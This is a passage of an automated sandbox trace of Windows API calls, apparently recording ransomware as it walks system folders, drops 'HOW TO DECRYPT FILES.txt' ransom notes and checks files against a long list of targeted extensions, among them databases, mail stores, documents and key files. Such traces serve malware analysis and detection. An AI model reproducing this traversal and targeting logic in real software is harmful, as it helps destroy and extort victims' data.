ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="29c55874e34f9d5cd3ea739262f48adc", cAlternateFileName="29C558~1")) returned 0 [0104.792] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.792] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ca6947a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ca6947a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ca6947a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.AddIn.Contra#", cAlternateFileName="SYSTEM~3.CON")) returned 1 [0104.838] lstrcmpA (lpString1=".", lpString2="System.AddIn.Contra#") returned -1 [0104.838] lstrcmpA (lpString1="..", lpString2="System.AddIn.Contra#") returned -1 [0104.838] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.838] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.AddIn.Contra#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#" [0104.838] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ca6947a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ca6947a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ca6947a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.839] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.839] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ca6947a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ca6947a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ca6947a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.839] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.839] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.839] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ca6947a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ca6947a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ca6947a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="78ce3fd89c50ab2d8d0ffc42ad838644", cAlternateFileName="78CE3F~1")) returned 1 [0104.839] lstrcmpA (lpString1=".", lpString2="78ce3fd89c50ab2d8d0ffc42ad838644") returned -1 [0104.839] lstrcmpA (lpString1="..", lpString2="78ce3fd89c50ab2d8d0ffc42ad838644") returned -1 [0104.839] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\*.*") returned="*.*" [0104.839] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\", lpString2="78ce3fd89c50ab2d8d0ffc42ad838644" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644" [0104.840] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ca6947a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ca6947a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ca6947a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.840] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.840] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ca6947a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ca6947a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ca6947a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.840] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.840] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.840] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c9f7059, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c9f7059, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c9f7059, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.AddIn.Contract.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0104.840] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.840] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.AddIn.Contract.ni.dll") returned -1 [0104.840] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.AddIn.Contract.ni.dll") returned -1 [0104.840] lstrcmpiA (lpString1="", lpString2="System.AddIn.Contract.ni.dll") returned -1 [0104.841] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\*.*") returned="*.*" [0104.841] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\" [0104.841] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\") returned="" [0104.841] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\HOW TO DECRYPT FILES.txt" [0104.841] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.addin.contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\how to decrypt files.txt")) returned 0xffffffff [0104.841] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.addin.contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.842] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.844] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.844] CloseHandle (hObject=0x90) returned 1 [0104.844] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\", lpString2="System.AddIn.Contract.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll" [0104.844] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.ems") returned 0 [0104.844] lstrlenA (lpString="*.ems") returned 5 [0104.844] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.db") returned 0 [0104.844] lstrlenA (lpString="*.db") returned 4 [0104.844] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.dbf") returned 0 [0104.844] lstrlenA (lpString="*.dbf") returned 5 [0104.844] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.myox") returned 0 [0104.844] lstrlenA (lpString="*.myox") returned 6 [0104.844] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.myo") returned 0 [0104.844] lstrlenA (lpString="*.myo") returned 5 [0104.844] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.qbw") returned 0 [0104.845] lstrlenA (lpString="*.qbw") returned 5 [0104.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.qbb") returned 0 [0104.845] lstrlenA (lpString="*.qbb") returned 5 [0104.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.qbm") returned 0 [0104.845] lstrlenA (lpString="*.qbm") returned 5 [0104.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.qbo") returned 0 [0104.845] lstrlenA (lpString="*.qbo") returned 5 [0104.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.qbx") returned 0 [0104.845] lstrlenA (lpString="*.qbx") returned 5 [0104.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.qba") returned 0 [0104.845] lstrlenA (lpString="*.qba") returned 5 [0104.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.qby") returned 0 [0104.845] lstrlenA (lpString="*.qby") returned 5 [0104.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.qbj") returned 0 [0104.846] lstrlenA (lpString="*.qbj") returned 5 [0104.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.ofx") returned 0 [0104.846] lstrlenA (lpString="*.ofx") returned 5 [0104.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.qif") returned 0 [0104.846] lstrlenA (lpString="*.qif") returned 5 [0104.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.mye") returned 0 [0104.846] lstrlenA (lpString="*.mye") returned 5 [0104.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.mbox") returned 0 [0104.846] lstrlenA (lpString="*.mbox") returned 6 [0104.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.eml") returned 0 [0104.846] lstrlenA (lpString="*.eml") returned 5 [0104.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.pst") returned 0 [0104.846] lstrlenA (lpString="*.pst") returned 5 [0104.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.ost") returned 0 [0104.846] lstrlenA (lpString="*.ost") returned 5 [0104.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.idx") returned 0 [0104.846] lstrlenA (lpString="*.idx") returned 5 [0104.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.dbx") returned 0 [0104.846] lstrlenA (lpString="*.dbx") returned 5 [0104.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.sql") returned 0 [0104.847] lstrlenA (lpString="*.sql") returned 5 [0104.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.mdb") returned 0 [0104.847] lstrlenA (lpString="*.mdb") returned 5 [0104.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.fdb") returned 0 [0104.847] lstrlenA (lpString="*.fdb") returned 5 [0104.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.wab") returned 0 [0104.847] lstrlenA (lpString="*.wab") returned 5 [0104.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.dat") returned 0 [0104.847] lstrlenA (lpString="*.dat") returned 5 [0104.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.txt") returned 0 [0104.847] lstrlenA (lpString="*.txt") returned 5 [0104.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.jpeg") returned 0 [0104.847] lstrlenA (lpString="*.jpeg") returned 6 [0104.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.jpg") returned 0 [0104.847] lstrlenA (lpString="*.jpg") returned 5 [0104.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.png") returned 0 [0104.847] lstrlenA (lpString="*.png") returned 5 [0104.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.php") returned 0 [0104.847] lstrlenA (lpString="*.php") returned 5 [0104.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.cs") returned 0 [0104.848] lstrlenA (lpString="*.cs") returned 4 [0104.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.cpp") returned 0 [0104.848] lstrlenA (lpString="*.cpp") returned 5 [0104.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.rar") returned 0 [0104.848] lstrlenA (lpString="*.rar") returned 5 [0104.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.zip") returned 0 [0104.848] lstrlenA (lpString="*.zip") returned 5 [0104.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.html") returned 0 [0104.848] lstrlenA (lpString="*.html") returned 6 [0104.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.htm") returned 0 [0104.848] lstrlenA (lpString="*.htm") returned 5 [0104.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.xlsx") returned 0 [0104.848] lstrlenA (lpString="*.xlsx") returned 6 [0104.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.xls") returned 0 [0104.848] lstrlenA (lpString="*.xls") returned 5 [0104.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.mp4") returned 0 [0104.848] lstrlenA (lpString="*.mp4") returned 5 [0104.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.ppt") returned 0 [0104.848] lstrlenA (lpString="*.ppt") returned 5 [0104.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.pptx") returned 0 [0104.849] lstrlenA (lpString="*.pptx") returned 6 [0104.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.doc") returned 0 [0104.849] lstrlenA (lpString="*.doc") returned 5 [0104.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.dot") returned 0 [0104.849] lstrlenA (lpString="*.dot") returned 5 [0104.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.docx") returned 0 [0104.849] lstrlenA (lpString="*.docx") returned 6 [0104.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.7z") returned 0 [0104.849] lstrlenA (lpString="*.7z") returned 4 [0104.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.tar") returned 0 [0104.849] lstrlenA (lpString="*.tar") returned 5 [0104.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.bz2") returned 0 [0104.849] lstrlenA (lpString="*.bz2") returned 5 [0104.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.gz") returned 0 [0104.849] lstrlenA (lpString="*.gz") returned 4 [0104.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.mkv") returned 0 [0104.849] lstrlenA (lpString="*.mkv") returned 5 [0104.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.eml") returned 0 [0104.849] lstrlenA (lpString="*.eml") returned 5 [0104.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.msg") returned 0 [0104.850] lstrlenA (lpString="*.msg") returned 5 [0104.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.edb") returned 0 [0104.850] lstrlenA (lpString="*.edb") returned 5 [0104.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.accdb") returned 0 [0104.850] lstrlenA (lpString="*.accdb") returned 7 [0104.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.odb") returned 0 [0104.850] lstrlenA (lpString="*.odb") returned 5 [0104.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.java") returned 0 [0104.850] lstrlenA (lpString="*.java") returned 6 [0104.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.asm") returned 0 [0104.850] lstrlenA (lpString="*.asm") returned 5 [0104.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.pfx") returned 0 [0104.850] lstrlenA (lpString="*.pfx") returned 5 [0104.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.pem") returned 0 [0104.850] lstrlenA (lpString="*.pem") returned 5 [0104.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.p12") returned 0 [0104.850] lstrlenA (lpString="*.p12") returned 5 [0104.850] PathMatchSpecA 